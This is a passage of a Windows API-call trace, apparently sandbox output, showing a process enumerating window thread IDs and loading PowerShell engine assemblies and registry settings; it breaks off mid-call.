0x0 [0057.170] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x460 [0057.170] GetLastError () returned 0x0 [0057.170] GetWindowThreadProcessId (in: hWnd=0x30140, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x558 [0057.170] GetLastError () returned 0x0 [0057.170] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.170] GetLastError () returned 0x0 [0057.170] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4d0 [0057.170] GetLastError () returned 0x0 [0057.170] GetWindowThreadProcessId (in: hWnd=0x501c0, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x8a4 [0057.170] GetLastError () returned 0x0 [0057.170] GetWindowThreadProcessId (in: hWnd=0x40120, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x810 [0057.170] GetLastError () returned 0x0 [0057.171] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x788 [0057.171] GetLastError () returned 0x0 [0057.171] GetWindowThreadProcessId (in: hWnd=0x1801b4, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x850 [0057.171] GetLastError () returned 0x0 [0057.171] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x494 [0057.171] GetLastError () returned 0x0 [0057.171] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x734 [0057.171] GetLastError () returned 0x0 [0057.171] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x324 [0057.171] GetLastError () returned 0x0 [0057.171] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x11c [0057.171] GetLastError () returned 0x0 [0057.171] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x7b4 [0057.171] GetLastError () returned 0x0 [0057.171] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x7a4 [0057.172] GetLastError () returned 0x0 [0057.172] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x774 [0057.172] GetLastError () returned 0x0 [0057.172] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x7a8 [0057.172] GetLastError () returned 0x0 [0057.172] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x318 [0057.172] GetLastError () returned 0x0 [0057.172] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x310 [0057.172] GetLastError () returned 0x0 [0057.172] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x210 [0057.172] GetLastError () returned 0x0 [0057.172] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x240 [0057.172] GetLastError () returned 0x0 [0057.172] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x328 [0057.172] GetLastError () returned 0x0 [0057.173] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x604 [0057.173] GetLastError () returned 0x0 [0057.173] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x32c [0057.173] GetLastError () returned 0x0 [0057.173] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x660 [0057.173] GetLastError () returned 0x0 [0057.173] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x440 [0057.173] GetLastError () returned 0x0 [0057.173] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x568 [0057.173] GetLastError () returned 0x0 [0057.173] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x538 [0057.173] GetLastError () returned 0x0 [0057.173] GetWindowThreadProcessId (in: hWnd=0x10128, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x540 [0057.173] GetLastError () returned 0x0 [0057.174] GetWindowThreadProcessId (in: hWnd=0x700a4, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x510 [0057.174] GetLastError () returned 0x0 [0057.174] GetWindowThreadProcessId (in: hWnd=0x20104, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x460 [0057.174] GetLastError () returned 0x0 [0057.174] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x79c [0057.174] GetLastError () returned 0x0 [0057.174] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x4e0 [0057.174] GetLastError () returned 0x0 [0057.174] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x460 [0057.174] GetLastError () returned 0x0 [0057.174] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x14e820 | out: lpdwProcessId=0x14e820) returned 0x778 [0057.174] GetLastError () returned 0x0 [0057.174] GetLastError () returned 0x0 [0057.176] WerSetFlags () returned 0x0 [0057.190] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0057.192] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x14ebfc, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x14ebf8 | out: pulNumLanguages=0x14ebfc, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x14ebf8) returned 1 [0057.192] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x14ebfc, pwszLanguagesBuffer=0x2a3b790, pcchLanguagesBuffer=0x14ebf8 | out: pulNumLanguages=0x14ebfc, pwszLanguagesBuffer=0x2a3b790, pcchLanguagesBuffer=0x14ebf8) returned 1 [0057.199] GetUserDefaultLocaleName (in: lpLocaleName=0x257278, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0057.223] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.223] GetLastError () returned 0xcb [0057.227] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.227] GetLastError () returned 0xcb [0057.228] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.228] GetLastError () returned 0xcb [0057.238] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e66c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.238] GetLastError () returned 0xcb [0057.238] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e688, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.238] GetLastError () returned 0xcb [0057.238] SetErrorMode (uMode=0x1) returned 0x1 [0057.238] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x14eb08 | out: lpFileInformation=0x14eb08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0057.239] GetLastError () returned 0xcb [0057.239] SetErrorMode (uMode=0x1) returned 0x1 [0057.239] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x14eb8c | out: lpdwHandle=0x14eb8c) returned 0x94c [0057.239] GetLastError () returned 0x0 [0057.240] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2a3dcc0 | out: lpData=0x2a3dcc0) returned 1 [0057.240] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14eb58, puLen=0x14eb54 | out: lplpBuffer=0x14eb58*=0x2a3dd5c, puLen=0x14eb54) returned 1 [0057.240] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x14ead4, puLen=0x14ead0 | out: lplpBuffer=0x14ead4*=0x2a3de38, puLen=0x14ead0) returned 1 [0057.240] lstrlenW (lpString="Microsoft Corporation") returned 21 [0057.240] lstrcpyW (in: lpString1=0x257278, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0057.240] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x14ead4, puLen=0x14ead0 | out: lplpBuffer=0x14ead4*=0x2a3de8c, puLen=0x14ead0) returned 1 [0057.240] lstrlenW (lpString="System.Management.Automation") returned 28 [0057.241] lstrcpyW (in: lpString1=0x257278, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0057.241] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x14ead4, puLen=0x14ead0 | out: lplpBuffer=0x14ead4*=0x2a3dee8, puLen=0x14ead0) returned 1 [0057.241] lstrlenW (lpString="6.1.7601.17514") returned 14 [0057.241] lstrcpyW (in: lpString1=0x257278, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0057.241] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x14ead4, puLen=0x14ead0 | out: lplpBuffer=0x14ead4*=0x2a3df28, puLen=0x14ead0) returned 1 [0057.241] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0057.241] lstrcpyW (in: lpString1=0x257278, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0057.241] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x14ead4, puLen=0x14ead0 | out: lplpBuffer=0x14ead4*=0x2a3df90, puLen=0x14ead0) returned 1 [0057.241] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0057.241] lstrcpyW (in: lpString1=0x257278, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0057.241] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x14ead4, puLen=0x14ead0 | out: lplpBuffer=0x14ead4*=0x2a3e02c, puLen=0x14ead0) returned 1 [0057.241] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0057.241] lstrcpyW (in: lpString1=0x257278, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0057.241] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x14ead4, puLen=0x14ead0 | out: lplpBuffer=0x14ead4*=0x2a3e090, puLen=0x14ead0) returned 1 [0057.241] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0057.241] lstrcpyW (in: lpString1=0x257278, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0057.241] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x14ead4, puLen=0x14ead0 | out: lplpBuffer=0x14ead4*=0x2a3e10c, puLen=0x14ead0) returned 1 [0057.241] lstrlenW (lpString="6.1.7601.17514") returned 14 [0057.241] lstrcpyW (in: lpString1=0x257278, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0057.242] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x14ead4, puLen=0x14ead0 | out: lplpBuffer=0x14ead4*=0x2a3ddb4, puLen=0x14ead0) returned 1 [0057.242] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0057.242] lstrcpyW (in: lpString1=0x257278, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0057.242] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x14ead4, puLen=0x14ead0 | out: lplpBuffer=0x14ead4*=0x0, puLen=0x14ead0) returned 0 [0057.242] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x14ead4, puLen=0x14ead0 | out: lplpBuffer=0x14ead4*=0x0, puLen=0x14ead0) returned 0 [0057.242] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x14ead4, puLen=0x14ead0 | out: lplpBuffer=0x14ead4*=0x0, puLen=0x14ead0) returned 0 [0057.242] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14eac8, puLen=0x14eac4 | out: lplpBuffer=0x14eac8*=0x2a3dd5c, puLen=0x14eac4) returned 1 [0057.242] VerLanguageNameW (in: wLang=0x0, szLang=0x257278, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0057.242] VerQueryValueW (in: pBlock=0x2a3dcc0, lpSubBlock="\\", lplpBuffer=0x14eadc, puLen=0x14ead8 | out: lplpBuffer=0x14eadc*=0x2a3dce8, puLen=0x14ead8) returned 1 [0057.263] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.263] GetLastError () returned 0xcb [0057.268] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.268] GetLastError () returned 0xcb [0057.272] lstrlenW (lpString="䅁") returned 1 [0057.275] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14eaa0 | out: phkResult=0x14eaa0*=0x320) returned 0x0 [0057.275] RegOpenKeyExW (in: hKey=0x320, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x14eaa4 | out: phkResult=0x14eaa4*=0x324) returned 0x0 [0057.275] RegOpenKeyExW (in: hKey=0x324, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x14ead8 | out: phkResult=0x14ead8*=0x328) returned 0x0 [0057.277] RegQueryValueExW (in: hKey=0x328, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14eb18, lpData=0x0, lpcbData=0x14eb14*=0x0 | out: lpType=0x14eb18*=0x1, lpData=0x0, lpcbData=0x14eb14*=0x56) returned 0x0 [0057.279] RegQueryValueExW (in: hKey=0x328, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14eb18, lpData=0x257278, lpcbData=0x14eb14*=0x56 | out: lpType=0x14eb18*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x14eb14*=0x56) returned 0x0 [0057.282] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.282] GetLastError () returned 0x0 [0057.283] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.283] GetLastError () returned 0x0 [0057.290] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.290] GetLastError () returned 0x0 [0057.303] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.303] GetLastError () returned 0xcb [0057.549] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x14e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0057.549] GetLastError () returned 0x2 [0057.549] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x14e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0057.549] GetLastError () returned 0x2 [0057.635] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.635] GetLastError () returned 0xcb [0057.636] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.636] GetLastError () returned 0xcb [0057.663] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.663] GetLastError () returned 0xcb [0057.680] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.680] GetLastError () returned 0xcb [0057.680] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.680] GetLastError () returned 0xcb [0057.974] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x14e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0057.974] GetLastError () returned 0x0 [0057.974] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x14e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0057.975] GetLastError () returned 0x0 [0057.996] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.996] GetLastError () returned 0xcb [0057.998] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.998] GetLastError () returned 0xcb [0058.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.049] GetLastError () returned 0x7e [0058.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.049] GetLastError () returned 0x7e [0058.540] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x14e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0058.540] GetLastError () returned 0x2 [0058.540] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x14e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0058.540] GetLastError () returned 0x2 [0058.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.615] GetLastError () returned 0x57 [0058.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.615] GetLastError () returned 0x57 [0058.768] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x14e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0058.768] GetLastError () returned 0x2 [0058.769] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x14e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0058.769] GetLastError () returned 0x2 [0058.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x14e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0058.875] GetLastError () returned 0x2 [0058.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x14e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0058.875] GetLastError () returned 0x2 [0058.896] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.896] GetLastError () returned 0xcb [0058.896] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e658, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.896] GetLastError () returned 0xcb [0058.897] GetFullPathNameW (in: 